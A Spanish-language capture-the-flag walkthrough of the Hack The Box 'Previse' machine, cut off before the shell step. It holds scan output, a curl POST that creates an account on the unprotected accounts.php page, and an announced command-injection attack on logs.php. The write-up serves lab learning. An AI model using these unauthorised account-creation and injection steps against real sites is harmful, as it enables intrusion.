Previse

Difficulty : Easy
Operating System : Linux
Rating : 0.0
Author : m4lwhere
Description
Esta maquina .....
Enumeration
Para la enumeracion basica vamos a utilizar una tool que he desarrollado especificamente para trabajar con maquinas en la plataforma hackthebox. Esta herramienta crea la carpeta de trabajo, realiza un escaneo basico con nmap y si encuentra un servicio web le lanza una enumeracion basica.
Descarga: HTBenum
Nmap
Nmap scan report for previse.htb (10.129.205.141)
Host is up (0.068s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 53:ed:44:40:11:6e:8b:da:69:85:79:c0:81:f2:3a:12 (RSA)
| 256 bc:54:20:ac:17:23:bb:50:20:f4:e1:6e:62:0f:01:b5 (ECDSA)
|_ 256 33:c1:89:ea:59:73:b1:78:84:38:a4:21:10:0c:91:d8 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-server-header: Apache/2.4.29 (Ubuntu)
| http-title: Previse Login
|_Requested resource was login.php
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Whatweb
http://previse.htb [302 Found] Apache[2.4.29], Cookies[PHPSESSID], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.29 (Ubuntu)], IP[10.129.205.141], Meta-Author[m4lwhere], RedirectLocation[login.php], Script, Title[Previse Home]
http://previse.htb/login.php [200 OK] Apache[2.4.29], Cookies[PHPSESSID], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.29 (Ubuntu)], IP[10.129.205.141], Meta-Author[m4lwhere], PasswordField[password], Script, Title[Previse Login]
HTTP Headers
HTTP/1.1 302 Found
Date: Sat, 07 Aug 2021 19:02:28 GMT
Server: Apache/2.4.29 (Ubuntu)
Set-Cookie: PHPSESSID=c7jd213og2evqf586cg2tpo92u; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Location: login.php
Content-Length: 2801
Content-Type: text/html; charset=UTF-8
ffuz
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.3.1-dev
________________________________________________
:: Method : GET
:: URL : http://previse.htb/FUZZ
:: Wordlist : FUZZ: /opt/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt
:: Extensions : .htm .php .html .js .txt .zip .bak .asp .aspx .xml .py .log .json .old
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405
________________________________________________
index.php [Status: 302, Size: 2801, Words: 737, Lines: 72]
login.php [Status: 200, Size: 2224, Words: 486, Lines: 54]
download.php [Status: 302, Size: 0, Words: 1, Lines: 1]
files.php [Status: 302, Size: 4914, Words: 1531, Lines: 113]
header.php [Status: 200, Size: 980, Words: 183, Lines: 21]
nav.php [Status: 200, Size: 1248, Words: 462, Lines: 32]
footer.php [Status: 200, Size: 217, Words: 10, Lines: 6]
css [Status: 301, Size: 308, Words: 20, Lines: 10]
[INFO] Adding a new job to the queue: http://previse.htb/css/FUZZ
status.php [Status: 302, Size: 2966, Words: 749, Lines: 75]
js [Status: 301, Size: 307, Words: 20, Lines: 10]
[INFO] Adding a new job to the queue: http://previse.htb/js/FUZZ
logout.php [Status: 302, Size: 0, Words: 1, Lines: 1]
accounts.php [Status: 302, Size: 3994, Words: 1096, Lines: 94]
config.php [Status: 200, Size: 0, Words: 1, Lines: 1]
logs.php [Status: 302, Size: 0, Words: 1, Lines: 1]
server-status [Status: 403, Size: 276, Words: 20, Lines: 10]
[INFO] Starting queued job on target: http://previse.htb/css/FUZZ
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 10.129.205.141
+ Target Hostname: previse.htb
+ Target Port: 80
+ Start Time: 2021-08-07 21:07:23 (GMT2)
---------------------------------------------------------------------------
+ Server: Apache/2.4.29 (Ubuntu)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type.
+ Cookie PHPSESSID created without the httponly flag
+ Root page / redirects to: login.php
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Apache/2.4.29 appears to be outdated (current is at least Apache/2.4.46). Apache 2.2.34 is the EOL for the 2.x branch.
+ /config.php: PHP Config file may contain database IDs and passwords.
+ OSVDB-3268: /css/: Directory indexing found.
+ OSVDB-3092: /css/: This might be interesting.
+ OSVDB-3233: /icons/README: Apache default file found.
+ /login.php: Admin login page/section found.
+ 7967 requests: 0 error(s) and 9 item(s) reported on remote host
+ End Time: 2021-08-07 21:18:21 (GMT2) (658 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
User Own
Cuando visitamos la URL obtenemos una redireccion hacia login.php y el aspecto de la web que nos encontramos es este

Tal y como pudimos ver en la enumeracion con ffuf tenemos acceso a varios ficheros php, que podemos ver individualmente, por lo que voy a clonarme la web completa en local e intentar navegar a traves de ella.
#Primero descargo los ficheros que pueden indexarse con wget
[root@htb previse]# wget -r http://previse.htb
--2021-08-10 12:21:28-- http://previse.htb/
Resolviendo previse.htb (previse.htb)... 10.129.159.154
Conectando con previse.htb (previse.htb)[10.129.159.154]:80... conectado.
Petición HTTP enviada, esperando respuesta... 302 Found
Localización: login.php [siguiendo]
--2021-08-10 12:21:28-- http://previse.htb/login.php
Reutilizando la conexión con previse.htb:80.
Petición HTTP enviada, esperando respuesta... 200 OK
Longitud: 2224 (2,2K) [text/html]
Grabando a: “previse.htb/index.html”
previse.htb/index.html 100%[=========================================================================================>] 2,17K --.-KB/s en 0s
2021-08-10 12:21:28 (138 MB/s) - “previse.htb/index.html” guardado [2224/2224]
--SNIP--
#Ahora guardo en un txt la lista de ficheros php encontrados con ffuf y los descargo recursivamente
[root@htb previse.htb]# cat phpfiles.txt
index.php
login.php
download.php
files.php
header.php
nav.php
footer.php
status.php
logout.php
accounts.php
config.php
logs.php
[root@htb previse.htb]# for i in $(cat phpfiles.txt);do curl -so $i http://previse.htb/$i;done
[root@htb previse.htb]# ls
accounts.php config.php download.php favicon-32x32.png files.php header.php index.php login.php logs.php phpfiles.txt status.php
apple-touch-icon.png css favicon-16x16.png favicon.ico footer.php index.html js logout.php nav.php site.webmanifest
Una vez descargada localmente y movida a nuestro servidor web local, podemos intentar navegar por ella

Ahora vamos a navegar hasta el apartado Accounts y vamos a simular una creacion de cuenta para analizar la request desde burp y ver como se construye

Bueno ahora la idea es construir un POST con curl (o desde el mismo burp si se prefiere) utilizando el formato que acabamos de obtener y crearnos una cuenta para acceder a la web original
[root@htb previse]# curl -d 'username=lalala&password=12345&confirm=12345&submit=' http://previse.htb/accounts.php
El siguiente paso es dirigirnos hacia la pestaña FILES y descargarnos el fichero SITEBACKUP.ZIP para analizar su contenido

Una vez descomprimido y analizado los ficheros que contiene, vemos que es un backup completo de las funciones de la web y el archivo que me llama la atencion para el siguiente paso es logs.php que parece contenter un RCE en su codigo:

La funcionalidad que corresponde a este codigo genera un output delimitado por la opcion que nosotros elijamos y nos entrega un log que hace referencia a los archivos subidos en el apartado FILES
[root@htb previse]# cat out.log
time,user,fileID
1622482496,m4lwhere,4
1622485614,m4lwhere,4
1622486215,m4lwhere,4
1622486218,m4lwhere,1
1622486221,m4lwhere,1
1622678056,m4lwhere,5
1622678059,m4lwhere,6
1622679247,m4lwhere,1
1622680894,m4lwhere,5
1622708567,m4lwhere,4
1622708573,m4lwhere,4
1622708579,m4lwhere,5
1622710159,m4lwhere,4
1622712633,m4lwhere,4
1622715674,m4lwhere,24
1622715842,m4lwhere,23
1623197471,m4lwhere,25
1623200269,m4lwhere,25
1623236411,m4lwhere,23
1623236571,m4lwhere,26
1623238675,m4lwhere,23
1623238684,m4lwhere,23
1623978778,m4lwhere,32
1628592908,lalala,32
Vamos a intentar atacar al php logs.php teniendo clara la informacion de la que disponemos hasta el momento. Para esto, analizamos el POST con burp y volvemos a curl para inyectar comandos de sistema.
Para probar esto vamos a abrirnos dos terminales, en una lanzaremos un POST malicioso contra nuestro objetivo tirando una traza icmp hacia nuestra maquina, en la otra consola tendremos escuchando un tcpdump en la interfaz tun0 (la vpn) y la ip de la maquina previse. Si recibimos trazas icmp nuestra inyeccion funciona y podremos subir una shell al target.
CODE